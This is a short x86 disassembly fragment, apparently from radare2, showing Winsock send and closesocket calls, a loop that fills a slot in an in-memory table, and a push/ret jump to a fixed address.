call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 0x1a4]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebp - 0x1b0]
call fcn.0040c30e
pushal
mov edi, dword [ebp - 0x1b4]
jmp 0x40c2de
add edi, 0x14
cmp dword [edi], 0
jne 0x40c2db
mov eax, dword [ebp - 0x1a8]
mov dword [edi], eax
add edi, 4
mov eax, dword [ebp - 0x1b0]
mov dword [edi], eax
popal
jmp 0x40c306
jmp 0x40c300
jmp 0x40c1bf
call dword [sym.imp.WS2_32.dll_closesocket]
leave
nop
push 0x4026b3
ret